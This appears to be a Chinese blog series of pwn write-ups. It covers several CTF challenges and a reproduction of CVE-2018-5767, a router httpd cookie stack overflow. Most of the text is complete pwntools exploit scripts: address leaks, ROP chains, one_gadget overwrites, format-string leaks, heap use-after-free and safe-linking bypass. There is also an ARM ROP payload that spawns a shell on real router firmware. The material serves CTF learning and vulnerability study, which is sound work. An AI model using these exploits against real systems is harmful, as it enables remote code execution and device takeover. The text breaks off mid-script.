pwn入门-28-高级网络攻防考试一题
在考试的时候没有做出来,考完后和老曹交流学会了,主要卡住的点,是走错了方向,一直在考虑堆的漏洞怎么利用,其实不是堆的漏洞,怎么说呢,其实是一个知识点的事,init_array这个节,会进行一些初始化操作,不知道确实很难搞…不过其实也不是没有办法,其实可以进行一些全局搜索之类的,寻找线索.
题目文件: 本链接加attachments.tar.gz
解题思路寻找对应函数123456789101112131415161718192021222324252627282930313233__int64 __fastcall main(const char *a1, char **a2, char **a3){ int v4; // [rsp+14h] [rbp-Ch] BYREF unsigned __int64 v5; // [rsp+18h] [rbp-8h] v5 = __readfsqword(0x28u); ((void (__fastcall *)(const char *, char **, char **))sub_14A9)(a1, a2, a3); while ( 1 ) { ((void (__fastcall *)(const char *))sub_1531)(a1); printf("choice: "); a1 = "%d"; __isoc99_scanf("%d", &v4); if ( v4 == 4 ) break; if ( v4 <= 0 ) exit(1); ((void (*)(const char *, ...))((char *)*(&off_5000 + v4 - 1) + 0xDEADBEEFLL))("%d", &v4); } return 0LL;}unsigned __int64 sub_1531(){ unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); puts("1. add"); puts("2. delete"); puts("3. edit"); puts("4. exit"); return v1 - __readfsqword(0x28u);}
一上来看sub_1531是能看到菜单的,但是很明显,下面没有对应的函数,就感到很奇怪了,(其实下次可以直接在ida的函数列表里找,如果不是花指令的话,花指令的话,还是直接看汇编,看有没有红色的代码)
当时是在gdb中动态调试找到的对应的函数
同时发现了一个gift函数,用来泄露地址的,还发现了一个后门函数,可以直接getshell,于是现在的问题就变成了怎么执行这个后门函数呢? 也就是怎么劫持控制流, 覆盖返回地址 or 利用堆进行任意内存读写, 似乎 都不太行…于是就卡住了
1234567891011121314151617181920unsigned __int64 sub_1206(){ void *v0; // rax unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("Ok, you find the gift"); v0 = malloc(0LL); printf("%#lx, %#lx, %#lx\n", sub_1206, &write, v0); return v2 - __readfsqword(0x28u);}unsigned __int64 sub_11C9(){ unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); system("/bin/sh"); return v1 - __readfsqword(0x28u);}
柳暗花明差一村12345 ((void (*)(const char *, ...))((char *)*(&off_5000 + v4 - 1) + 0xDEADBEEFLL))("%d", &v4);.data:0000000000005000 off_5000 dq 0FFFFFFFF21525389h ; DATA XREF: main+A0↑o.data:0000000000005008 dq 0FFFFFFFF21525477h.data:0000000000005010 dq 0FFFFFFFF21525518h
当时在main函数中,看到了这个,也理解了off_5000是data节中的数据,利用这里的数据进行一些运算,然后就到达了函数地址,例如0位置,运算后就是add函数的位置,但是 gift和后门函数,都在内存中没有这个偏移,堆虽然可以写,但是不知道堆的地址呀,但gift可以泄露,但gift怎么调用呢?? 于是就卡死了………
其实这里可以尝试爆破的…(我觉得),后面有时间可以试试
于是就在这里卡死了…就像开头提的一样,其实在init_array中有初始化这个操作,保存了gift对应的地址,怎么说呢…应该让自己多学一点工具,辅助自己去探索可能的路径
正解 elf执行时会先走这个init,这里面有个sub_144E,就是它把gift函数加载进去了,能够看到,它加载到的地址的偏移就是0x29C0
&0xFFFFFFFFFFFFF000LL是干了啥呢? 与之后就是程序0x5000的位置,是为了得到这个位置,然后+0x29C0就是存储gift的地方
不过这里为啥是0xDEADBF61LL,这是什么逻辑,后面在main中要+0xDEADBEEFLL,
所以0x1278 - 0xDEADBF61 +0xDEADBEEF = 0x1206,就是gift的地址,所以这个地址应该是这个原因,因为要考虑到pie,所以要用一个函数或者变量的地址,这里用了0x1278的, 和它差多少呢? 就是 0x1206 - 0xDEADBEEF-0x1278,也就是-0xdeadbf61
12345678910111213141516.init_array:0000000000003D60 ;org 3D60h.init_array:0000000000003D60 off_3D60 dq offset sub_11C0 ; DATA XREF: LOAD:0000000000000168↑o.init_array:0000000000003D60 ; LOAD:00000000000002F0↑o.init_array:0000000000003D68 dq offset sub_144E.init_array:0000000000003D68 _init_array ends.init_array:0000000000003D68 unsigned __int64 sub_144E(){ unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); *(_QWORD *)(((unsigned __int64)&unk_5018 & 0xFFFFFFFFFFFFF000LL) + 0x29C0) = (char *)sub_1278 - 0xDEADBF61LL; return v1 - __readfsqword(0x28u);}
所以就可以先通过调用gift来进行泄露地址,0x29C0 = 10688 , 10688/8 = 1336,这是因为指针的偏移,按照char类型来算????? 是吗?
因为在main中还有个-1,所以是1337,输入1337就可以调用gift了!
最终步骤123choice: 1337Ok, you find the gift0x5557ed770206, 0x7f1094c79d80, 0x5557eea752a0
之前取这些数据的时候老出问题…….
先把前面的数据接收了,然后再接收三个值,怎么接收呢,可以按照长度来,但是感觉比较der,还是看老曹的..recvline之后strip去掉最后的空格,然后decode解码,然后通过”, “分割,这样gift就成了数组, 0 1 2 对应着三个值,就可以了!
123456gift = (p.recvline().strip()).decode().split(', ')pie = int(gift[0], 16) - 0x1206#print(hex(pie))leak_heap_addr = int(gift[2], 16)#print(hex(leak_heap_addr))vul_addr = leak_heap_addr + 0x20
然后把后门地址写入堆地址,此时也有堆的地址了,再次利用main函数中的调用逻辑,调用就可以了
123456789backdoor_addr = pie + 0x11c9p.recvuntil('choice: ')p.sendline('1')p.recvuntil('content: ')p.send(p64(backdoor_addr - 0xdeadbeef))trigger_input = (vul_addr - pie - 0x5000) // 8 + 1
//是整除的意思
exp123456789101112131415161718192021222324252627282930313233343536from pwn import *elf = "./pwn"context.log_level= "debug"p = process(elf)p =remote("xxxxx", xxx)context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)p.sendlineafter('choice: ', str(1337))p.recvuntil('Ok, you find the gift\n')gift = (p.recvline().strip()).decode().split(', ')pie = int(gift[0], 16) - 0x1206#print(hex(pie))leak_heap_addr = int(gift[2], 16)#print(hex(leak_heap_addr))vul_addr = leak_heap_addr + 0x20backdoor_addr = pie + 0x11c9p.recvuntil('choice: ')p.sendline('1')p.recvuntil('content: ')p.send(p64(backdoor_addr - 0xdeadbeef))trigger_input = (vul_addr - pie - 0x5000) // 8 + 1p.recvuntil('choice: ')p.sendline(str(trigger_input))p.interactive()
待解决这个题如果正向写代码,要怎么写呢?
ida一开始进去不是main而是…这里是否…
CVE-2018-5767漏洞复现的关键问题
和恒哥进行的复现
arm架构的rop 和x86的架构的区别还是挺大的,
1.pop {r4,r5,r6,fp,pc}会弹出5个值, 3个aaaa给前三个,然后r12-3给fp, wait+24,也就是pop {r3,pc}给pc
2.执行pop {r3,pc}, 把puts传给 r3, 然后 mov r0,sp;blx r3给pc,
3.mov r0,sp好像没啥用, blx r3跳转指令,它用于将程序控制权转移到寄存器 R3 中存储的地址处。BLX指令可以用于跳转到一个函数或者子程序的地址。 所以就跳到了puts了!
栈传参数,此时栈顶是要puts的字符串,
python2版本exp1234567891011121314import requestsfrom pwn import *base = 0xff60acd4 - 0x035CD4libc = ELF('./libc.so.0')puts = base+libc.sym['puts']_str = "xxxxxx\x00"mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;pop_r3 = base+0x00018298 # pop {r3, pc};URL = "http://xxxxxx:80/goform/hello"pl = 'a'*444+".png"+p32(pop_r3)+p32(puts)+p32(mov_r0)+_strcookie = {"Cookie":"password="+pl}requests.get(url=URL, cookies=cookie)
python3版本exp python3和python2的转换一直出奇奇怪怪的问题,是编码的问题,如何过渡好呢?
https://blog.csdn.net/yongbaoii/article/details/108873780
1234567891011121314import requestsfrom pwn import *base = 0xff60acd4 - 0x035CD4libc = ELF('./libc.so.0')puts = base+libc.sym['puts']_str = "xxxxxx\x00"mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;pop_r3 = base+0x00018298 # pop {r3, pc};URL = "http://xxxxxx:80/goform/hello"pl = 'a'*444+".png"+p32(pop_r3).decode("iso-8859-1") +p32(puts).decode("iso-8859-1") +p32(mov_r0).decode("iso-8859-1")+_strcookie = {"Cookie":"password="+pl}requests.get(url=URL, cookies=cookie)
decode(“iso-8859-1”) 就可以了!
system(“/bin/sh”) 看博主一直复现失败,打算试试qemu-system模式的..但是在自己服务器上就复现成功了…很玄学(计算机没有玄学!)
123456789101112131415import requestsfrom pwn import *base = 0xff60acd4 - 0x035CD4libc = ELF('./libc.so.0')puts = base+libc.sym['puts']system_addr = base + libc.sym['system']_str = "/bin/sh\x00"mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;pop_r3 = base+0x00018298 # pop {r3, pc};URL = "http://xxxxxxx:80/goform/hello"pl = 'a'*444+".png"+p32(pop_r3)+p32(system_addr)+p32(mov_r0)+_strcookie = {"Cookie":"password="+pl}requests.get(url=URL, cookies=cookie)
坑1.gdb-multiarch ./bin/httpd 要对应启动的文件,不能是它的备份等,这可能和gdb的工作原理有关
参考https://www.52pojie.cn/thread-1674625-1-1.html
python共存问题
https://blog.csdn.net/Huang_8208_sibo/article/details/124762816
https://blog.csdn.net/qq_38154820/article/details/122955197
https://mp.weixin.qq.com/s/mRq3n3jDM0zvR15JAsLYSA
pwn入门-27-5月乙队月赛三题
这次月赛的pwn,出的偏简单,终于能做出题来了……..不过在做题的时候很多小点有点卡,所以平常要把这些知识点,细节都补充完整和练熟.
题目文件: 本链接+题目文件名
1.easy_leak 本身题目不难,但是自己越做越复杂了..整体的思路还是有待加强.
题目分析123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051void __fastcall menu(){ puts("Hello, my beeeest friend!Also a small chal for you!Good luck!"); puts("1. Read num"); puts("2. Write num"); puts("0. Exit");}int __cdecl main(int argc, const char **argv, const char **envp){ unsigned int choice; // [rsp+4h] [rbp-41Ch] BYREF unsigned int idx; // [rsp+8h] [rbp-418h] BYREF unsigned int num_to_write; // [rsp+Ch] [rbp-414h] BYREF int nums[256]; // [rsp+10h] [rbp-410h] BYREF unsigned __int64 v8; // [rsp+418h] [rbp-8h] v8 = __readfsqword(0x28u); init(); menu(); memset(nums, 0, sizeof(nums)); while ( 1 ) { printf("> "); if ( (int)__isoc99_scanf("%u", &choice) < 0 ) break; if ( choice == 1 ) { printf("Idx:"); if ( (int)__isoc99_scanf("%u", &idx) < 0 ) break; printf("The num: %u\n", (unsigned int)nums[idx]); } else { if ( choice != 2 ) break; printf("Idx:"); if ( (int)__isoc99_scanf("%u", &idx) < 0 ) break; printf("Num:"); if ( (int)__isoc99_scanf("%u", &num_to_write) < 0 ) break; nums[idx] = num_to_write; puts("Done!"); } } puts("Byebye!"); return 0;}
能够看到,它实现了读写栈上的一个数组的功能,但是没有设置边界,于是可以读写栈上的任意值,那可以直接修改返回地址,但是没有后门函数,(于是自己就先用rop链写system(“/bin/sh”),失败后又用了orw…越做越麻烦,其实可以直接用one_gadget的!)
寻找返回地址和gadget int nums[256]; // [rsp+10h] [rbp-410h] BYREF
现在明白在ida里面这个注释是什么意思了…就是从rsp+0x10的位置开始读nums,或者rbp-0x410的位置,这俩等价
1234567891011121314-0000000000000410 nums dd 256 dup(?)-0000000000000010 db ? ; undefined-000000000000000F db ? ; undefined-000000000000000E db ? ; undefined-000000000000000D db ? ; undefined-000000000000000C db ? ; undefined-000000000000000B db ? ; undefined-000000000000000A db ? ; undefined-0000000000000009 db ? ; undefined-0000000000000008 var_8 dq ?+0000000000000000 s db 8 dup(?)+0000000000000008 r db 8 dup(?)+0000000000000010+0000000000000010 ; end of stack variables
num占了256个4字节的空间,总共0x400, 然后还有8字节不知道干啥的,剩下8字节是canary? 然后就是rbp和返回地址了
开启了pie,下断点的时候先vmmap看一下基址,然后+ida里面的地址
调试试试一下,所以打印258 259是canry,(注意num从0开始计数),260 261是rbp 262 263是返回地址
1234567262 0xf7deb083263 0x7fff 返回地址, 同时也是lib_start_main+243地址,即可以算出glibc的地址270 0x55554942271 0x5555 main的地址
把rsp修改成/bin/sh,然后返回地址 pop rdi, 然后system,就行了把(错了错了! ,rop的基本流程都忘了,在rop的时候rsp已经到了最后的rbp那个位置了….改上面干啥…)
泄露基地址12262 0xf7deb083263 0x7fff 返回地址, 同时也是lib_start_main+243地址,即可以算出glibc的地址
泄漏的地址和libc加载的地址相差是固定的,可以从ida里看,也可以调试的时候看一下,调试的时候,打印出来它的值,减去加载的地址,就得到了固定的偏移
12345678910111213141516readone(262)io.recvuntil("The num: ")addr1 = io.recv(10)readone(263)io.recvuntil("The num: ")addr2 = io.recv(5)print(hex(int(addr1)))print(hex(int(addr2)))#libcbase = int(addr1) - 0x240b3## 拼接libcbase = int(addr2)*(2**32)+int(addr1) - 0x240b3libcbase1 = int(addr2)*(0b100000000000000000000000000000000)+int(addr1) - 0x240b3libcbase2 = (int(addr2)<<32) + int(addr1) - 0x240b3 # 注意<<优先级很低,加个括号
io接收到的是byte流 比如b’3033882803’,并且一次是不能打印完全的,只是4字节,要两次的拼起来
int(add2)*(2**32) 这样,或者左移32位才对,当时做题的时候好像是直接乘了100000…. 内存爆了还是溢出,报错了,应该是二进制的1000(32个0)
封装函数,实现快速数据操作12345678910111213141516171819202122232425def read1(index): io.sendlineafter("> ",str(1)) io.sendlineafter("Idx:",str(index)) io.recvuntil('The num: ') low_addr=int(io.recvuntil('\n',drop=True),10) # 这样就可以接收到全部了,不用考虑长度,到\n截止,10进制接收 io.sendlineafter("> ",str(1)) io.sendlineafter("Idx:",str(index+1)) io.recvuntil('The num: ') high_addr=int(io.recvuntil('\n',drop=True),10) return high_addr*(2**32)+low_addrlibcbase3 = read1(262) - 0x240b3print(hex(libcbase3))def write1(index,num): high_num = int(num/(2**32)) low_num = num%(2**32) io.sendlineafter("> ",str(2)) io.sendlineafter("Idx:",str(index)) io.sendlineafter("Num:",str(low_num)) io.sendlineafter("> ",str(2)) io.sendlineafter("Idx:",str(index+1)) io.sendlineafter("Num:",str(high_num))
one_gadget解法 题目有给libc版本,但是感觉好像不对啊… 给的是2.27,其实是2.31-0ubuntu9.7_amd64
123456789101112131415root@vultr:~/yuesai/easyleak# one_gadget /root/pwn/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.60xe3b2e execve("/bin/sh", r15, r12)constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL0xe3b31 execve("/bin/sh", r15, rdx)constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL0xe3b34 execve("/bin/sh", rsi, rdx)constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
exp12345678910111213141516171819202122232425262728293031323334353637383940414243from pwn import *context(os='linux',log_level='debug')mylibc = ELF('/root/pwn/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')io = process("./pwn")context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(io)def read1(index): io.sendlineafter("> ",str(1)) io.sendlineafter("Idx:",str(index)) io.recvuntil('The num: ') low_addr=int(io.recvuntil('\n',drop=True),10) # 这样就可以接收到全部了,不用考虑长度,到\n截止,10进制接收 io.sendlineafter("> ",str(1)) io.sendlineafter("Idx:",str(index+1)) io.recvuntil('The num: ') high_addr=int(io.recvuntil('\n',drop=True),10) return high_addr*(2**32)+low_addrdef write1(index,num): high_num = int(num/(2**32)) low_num = num%(2**32) io.sendlineafter("> ",str(2)) io.sendlineafter("Idx:",str(index)) io.sendlineafter("Num:",str(low_num)) io.sendlineafter("> ",str(2)) io.sendlineafter("Idx:",str(index+1)) io.sendlineafter("Num:",str(high_num))libcbase = read1(262) - 0x240b3#print(hex(libcbase3))onegadget = libcbase + 0xe3b31write1(262,onegadget)io.sendlineafter("> ",str(0))io.interactive()
不对不对..其实不是这个libc版本,所以onegadget是瞎猫碰死耗子,撞上了….(或者说他前面的指令不影响后续getshell)
system解法找到/bin/sh和system 以及gadget
12345678910111213ROPgadget --binary libc.so.6 --only 'pop|ret' | grep 'rdi'0x00000000000248f2 : pop rdi ; pop rbp ; ret0x0000000000023b6a : pop rdi ; ret ROPgadget --binary libc.so.6 --string '/bin/sh'0x00000000001b45bd : /bin/sh ROPgadget --binary libc.so.6 --only 'ret'0x0000000000022679 : ret system = libcbase + mylibc.symbols['system']
12345678910111213141516171819202122232425262728293031323334353637383940414243444546from pwn import *context(os='linux',log_level='debug')mylibc = ELF('/root/pwn/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')io = process("./pwn")context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(io)def read1(index): io.sendlineafter("> ",str(1)) io.sendlineafter("Idx:",str(index)) io.recvuntil('The num: ') low_addr=int(io.recvuntil('\n',drop=True),10) # 这样就可以接收到全部了,不用考虑长度,到\n截止,10进制接收 io.sendlineafter("> ",str(1)) io.sendlineafter("Idx:",str(index+1)) io.recvuntil('The num: ') high_addr=int(io.recvuntil('\n',drop=True),10) return high_addr*(2**32)+low_addrdef write1(index,num): high_num = int(num/(2**32)) low_num = num%(2**32) io.sendlineafter("> ",str(2)) io.sendlineafter("Idx:",str(index)) io.sendlineafter("Num:",str(low_num)) io.sendlineafter("> ",str(2)) io.sendlineafter("Idx:",str(index+1)) io.sendlineafter("Num:",str(high_num))libcbase = read1(262) - 0x240b3#print(hex(libcbase3))pop_rdi = libcbase +0x000000023b72system = libcbase + mylibc.symbols['system']binsh = libcbase +0x00000000001b45bdwrite1(262,pop_rdi)write1(264,binsh)write1(266,system)io.sendlineafter("> ",str(0))io.interactive()
这里有个大坑…栈对其? 栈平衡? 是的,需要加一个ret,不过为什么呢??
看了一下出题人用的libc版本:GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9)
前面onegadget瞎猫碰死耗子..
会什么会加载四个呢??,比如libc, 减哪个的值呢? 减最开头的
orw解法 记录一下……其实没必要..
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144from pwn import *context(arch='i386',os='linux',log_level='debug')mylibc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6')io = process("./pwn")context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(io)def readone(index): io.sendlineafter("> ",str(1)) io.sendlineafter("Idx:",str(index))def writeone(index,content): io.sendlineafter("> ",str(2)) io.sendlineafter("Idx:",str(index)) io.sendlineafter("Num:",str(content))writeone(0,1852400175)writeone(1,6845231)readone(1)readone(262)io.recvuntil("The num: ")addr1 = io.recv(10)readone(263)io.recvuntil("The num: ")addr2 = io.recv(5)#print(hex(int(addr1)))#print(hex(int(addr2)))system = int(addr1) - 231 + 0x2d799libcbase = int(addr1) - 0x21c87#print(hex(system))readone(270)io.recvuntil("The num: ")mainlow = io.recv(10)readone(271)io.recvuntil("The num: ")mainhigh = io.recv(5)#print(mainhigh)pop_rdi = libcbase + 0x002164fpop2 = libcbase+0x022394pop_rsi = libcbase +0x0000023a6apop_rdx = libcbase + 0x001b96writeone(262,pop_rdi)#writeone(263,mainhigh)binsh = libcbase +0x001b3d88#binsh = libcbase + mylibc.search(b"/bin/sh")writeone(264,0)writeone(265,0)writeone(266,pop_rsi)writeone(267,int(addr2))writeone(268,int(mainlow)+0x202100)writeone(269,int(mainhigh))writeone(270,pop_rdx)writeone(271,int(addr2))writeone(272,32)writeone(273,0)read = libcbase + mylibc.symbols['read']writeone(274,read)writeone(275,int(addr2))# openwriteone(276,pop_rdi)writeone(277,int(addr2))writeone(278,int(mainlow)+0x202100)writeone(279,int(mainhigh))writeone(289,int(addr2))# readwriteone(290,pop_rdi)writeone(291,int(addr2))writeone(292,3)writeone(293,0)writeone(294,pop_rsi)writeone(295,int(addr2))writeone(296,int(mainlow)+0x202100)writeone(297,int(mainhigh))writeone(298,pop_rdx)writeone(299,int(addr2))writeone(300,32)writeone(301,0)writeone(302,read)writeone(303,int(addr2))#system = libcbase + 0x14b88# writewriteone(304,pop_rdi)writeone(305,int(addr2))writeone(306,1)writeone(307,0)writeone(308,pop_rsi)writeone(309,int(addr2))writeone(310,int(mainlow)+0x202100)writeone(311,int(mainhigh))writeone(312,pop_rdx)writeone(313,int(addr2))writeone(314,32)writeone(315,0)write1 = libcbase + mylibc.symbols['write']writeone(316,write1)writeone(317,int(addr2))io.sendlineafter("> ",str(0))io.sendline("/flag\x00")#pause()print(io.recv(100))io.interactive()
2. easy_heaphttps://blingblingxuanxuan.github.io/2020/03/01/hacknote/
刚拿到这道题的时候就发现特别熟悉…想了下是道原题(hacknote),不过进行了点小的修改.
给自己的提醒是做题或者以后的实战中,要有一个清晰的思路,不是想到什么干什么,而是先从最简单的最好用的开始,比如这道题,其实有后门函数可以直接利用,但自己一开始想到的就是构造rop链(不过为什么没成功呢???后面分析)
get_library_name 中有格式化字符串
泄露程序加载地址 前面多加了这个函数,有格式化字符串漏洞,可以利用这个泄露栈上的地址
123456789101112unsigned int get_library_name(){ char format; // [esp+Ch] [ebp-2Ch] unsigned int v2; // [esp+2Ch] [ebp-Ch] v2 = __readgsdword(0x14u); puts("please input the library name:"); _isoc99_scanf("%32s", &format); printf(&format); puts(&byte_1198); return __readgsdword(0x14u) ^ v2;}
第19个位置是main+89
123io.sendline("%x.%x.aaa%19$d.%x.%x.%x")io.recvuntil("aaa")flag = int(io.recv(10)) - 0x208
-0x208 = - 0x100e + 0xe06
-0x100e是main+89距离文件起始处的位置, 0xe06是magic后门函数的偏移
exp 同样还是hacknote的堆处理方法,把函数地址替换成magic就可以了
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950from pwn import *context(arch='i386',os='linux',log_level='debug')mylibc = ELF('/root/pwn/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc.so.6')io = process("./easy_heap")context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(io)#def add_note(size,content): io.recvuntil("choice :") io.sendline("1") io.recvuntil("size :") io.sendline(str(size)) io.recvuntil("Content :") io.sendline(content)def del_note(index): io.recvuntil("choice :") io.sendline("2") io.recvuntil("Index :") io.sendline(str(index))def print_note(index): io.recvuntil("choice :") io.sendline("3") io.recvuntil("Index :") io.sendline(str(index))io.recvuntil("please input the library name:")io.sendline("%x.%x.aaa%19$d.%x.%x.%x")io.recvuntil("aaa")flag = int(io.recv(10)) -0x208#flag = u32(io.recv(5)[1:])#flag = int(io.recv(10)) -0x5188+0xe06#flag = u32(io.recv(4))print(flag)print(hex(flag))add_note(64,"12")add_note(32,"12")del_note(0)add_note(64,"45")print_note(2)# del_note(4)del_note(0)del_note(1)add_note(8,p32(flag))#pause()print_note(0)#io.recv()io.interactive()
但是为什么我的system(“/bin/sh”)没成功呢? 先确认下libc版本吧… ubuntu16.04, 首先是libc版本问题,然后本地没成功的话,应该是因为栈平衡?
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354from pwn import *context(arch='i386',os='linux',log_level='debug')myelf = ELF('./easy_heap')#mylibc = ELF('./libc-2.23.so')mylibc = ELF('./libc_32.so.6')io = remote('chall.pwnable.tw',10102)#io=process("./easy_heap")context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(io)def add_note(size,content): io.recvuntil("choice :") io.sendline("1") io.recvuntil("size :") io.sendline(str(size)) io.recvuntil("Content :") io.sendline(content)def del_note(index): io.recvuntil("choice :") io.sendline("2") io.recvuntil("Index :") io.sendline(str(index))def print_note(index): io.recvuntil("choice :") io.sendline("3") io.recvuntil("Index :") io.sendline(str(index))#io.recvuntil("please input the library name:")#io.sendline("test")add_note(64,"12")add_note(32,"12")del_note(0)add_note(64,"45")print_note(2)#libc_addr = u32(io.recv(8)[4:8]) - 0x1b27b0libc_addr = u32(io.recv(8)[4:8]) - 0x1b07b0print(hex(libc_addr))#pause()sys_addr = libc_addr + mylibc.symbols['system']# add_note(8,"12")# add_note(8,"34")# del_note(3)# del_note(4)del_note(0)del_note(1)add_note(8,p32(sys_addr)+b";sh\x00")print_note(0)io.interactive()
3.fakegpt题目分析 存在格式化字符串漏洞,对输入的字符串做了反向处理和过滤(不过没用到),直接泄露canary和libc地址,找出onegadget,栈溢出覆盖即可
exp12345678910111213141516171819202122232425262728293031323334from pwn import *context(os='linux',log_level='debug')mylibc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6')io = process("./fakegpt")context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(io)# 验证码catpcha_line = io.recvline_contains(b'Input the captcha')captcha = catpcha_line.split(b' ')[-1]io.sendline(captcha)# 读取libc地址io.sendafter(b'Prompt: ', f'%{(0xd8>>3)+6}$p'.encode()[::-1]) # __isoc99_scanf+178io.recvuntil(b'FakeGPT: 0x')addr = int(io.recv(12), 16)print(hex(addr))libcbase = addr - 0x621c2onegadget = libcbase + 0x50a37print(hex(onegadget))# 读取canaryio.sendafter(b'Prompt: ', f'%{(0x1a8>>3)+6}$p'.encode()[::-1]) # __isoc99_scanf+178io.recvuntil(b'FakeGPT: 0x')canary = int(io.recv(16), 16)print(hex(canary))pause()input3 = b"b"*0x197 + p64(canary)+p64(0)+p64(onegadget)io.sendline(input3[::-1])io.interactive()
pwn入门-26-2.36版本uaf利用
123456[*] '/home/ubuntu/511/pwn/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
heap: This command only works with libc debug symbols.
https://blog.csdn.net/m0_51251108/article/details/127098744
符号表 not striped
name那里可以输出栈上的数据
解题思路堆地址泄露(利用UAF)123456789101112delete(8)show(8)p.recvuntil("Name: ")sec=u64(p.recv(8))delete(9)show(9)p.recvuntil("Name: ")heap_sec=u64(p.recv(8))heap_addr=heap_sec^secprint(hex(heap_addr))stack_addr=u64(p.recv(8))print(hex(stack_addr))
sec和heap_sec异或得到堆地址,那么它们是什么呢?
123456780x560399e28450 0x0000000000000000 0x0000000000000041 ........A.......<-- fastbins[0x40][1]0x560399e28460 0x0000000560399e28 0x00007ffef806f270 (.9`....p.......0x560399e28470 0x0000000000000000 0x00007ffef806f3b8 ................0x560399e28480 0x0000000064646464 0x0000000000000000 dddd............0x560399e28490 0x0000000000000000 0x0000000000000041 ........A.......<-- fastbins[0x40][0]0x560399e284a0 0x00005606f9db1a78 0x00007ffef806f270 x....V..p.......0x560399e284b0 0x0000000000000000 0x00007ffef806f3b8 ................0x560399e284c0 0x0000000064646464 0x0000000000000000
0x0000000560399e28 ^ 0x00005606f9db1a78 = 0x560399e28450
fastbin 堆指针异或加密(glibc-2.32 引入)
http://www.suphp.cn/anquanke/86/236186.html
需要泄露两次,两个相邻的fastbin,泄露它们fd位置的值,然后异或就得到了前面那个fastbin的地址了
https://bbs.kanxue.com/thread-272098.htm#msg_header_h2_2
泄露栈地址 为什么bk这里存储着栈地址呢?
是在add的时候,放入的地址???
奇怪..一步一步调试的话,栈上数据就没有..不然就有…
构造double free链,任意地址写1234567891011121314151617delete(8).........delte(9)........delete(8)## 构成环了victim=stack_addr-0x20 ## print(hex(victim))for i in range(7): ## 先使用tcachebin add(i+1,b'aaa',0x8,b'dddd')pay1=p64(sec^victim)add(12,pay1,0x8,'\x00') ## 三个fastbinadd(13,pay1,0x8,'\x00')add(14,pay1,0x8,'\x00')add(15,b'ccc',0x8,b'\x00')show(15)
victim就是要写入的地址,因为有异或机制,所以要和sec异或一下,再写入
为什么添加完三个fastbin,又会多了tcachebin… 斯….和tcachebin的机制有关…在分配第一个fastbin的时候,就给他们放到tcachebin中了…
栈地址怎么来的?1234567add(15,b'ccc',0x8,b'\x00')show(15)p.recvuntil("Name: ")p.recv(8)pie_base_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x1794print('pie: '+hex(pie_base_addr))print(hex(stack_addr))
-0x1794要根据具体版本变化,vmmap看到基址, 两个一减就得到了
这个地址是怎么来的呢?
找不到是谁打印出的pie: 0x55b9c409d794…
find 0x7ffc27616000 to 0x7ffc27805000,0x55b9c409d794
下断点到show函数,一步步查看
是在这里打印出来的,可是为什么这里会存储着这个地址呢??
在add中malloc分配空间的时候会分配到这附近..
glibc地址获取12345678for i in range(7): add(i+30,b'/bin/sh\x00',0x3f8,b'dddd')delete(31)show(31)p.recvuntil('Name: ')p.recv(8)lib_addr=u64(p.recv(6).ljust(8,b'\x00'))-96-0x1f6c60print('libc: '+hex(lib_addr))
分配的0x3f8再加上33 还是啥,大小肯定超了tcache的了,就直接进入unsortedbin,然后可以从这里泄露glibc的地址
-96 再减去和glibc开头的差值,就可以得到glibc加载基址
构造rop链子 这里直接覆盖的返回地址,exit退出,就会进入rop链
12345678910111213libc = ELF("./libc.so.6")system=lib_addr+libc.sym["system"] #0x4c330bin_sh=lib_addr+0x1b61b4print(hex(system))print(hex(bin_sh))ret=0x00000000000233d1+lib_addrpop_rdi=0x00023b65+lib_addrrop_chain=p64(ret)*0x10+p64(pop_rdi)+p64(bin_sh)+p64(system)## editedit(15,rop_chain)p.sendlineafter("> ", '5')
exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105from pwn import *elf = "./pwn"context.log_level= "debug"p = process(elf)context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)def add(index, name, size,content): p.sendlineafter('> ', '1') p.sendlineafter('Index: ', str(index)) p.sendafter('Name: ', name) p.sendlineafter('Description size: ', str(size)) p.sendafter('Description: ',content)def edit(index, content): p.sendlineafter('> ', '4') p.sendlineafter('Index: ', str(index)) p.sendlineafter('Description: ', content)def show(index): p.sendlineafter('> ', '3') p.sendlineafter('Index: ', str(index))def delete(index): p.sendlineafter('> ', '2') p.sendlineafter('Index: ', str(index)) ## 观察怎么泄露的地址add(0,b'test',0x28,b'ddd')show(0)recv = p.recv(0xe)fake_stack_addr = u64(p.recv(8))print(hex(fake_stack_addr))fake_lib_addr = 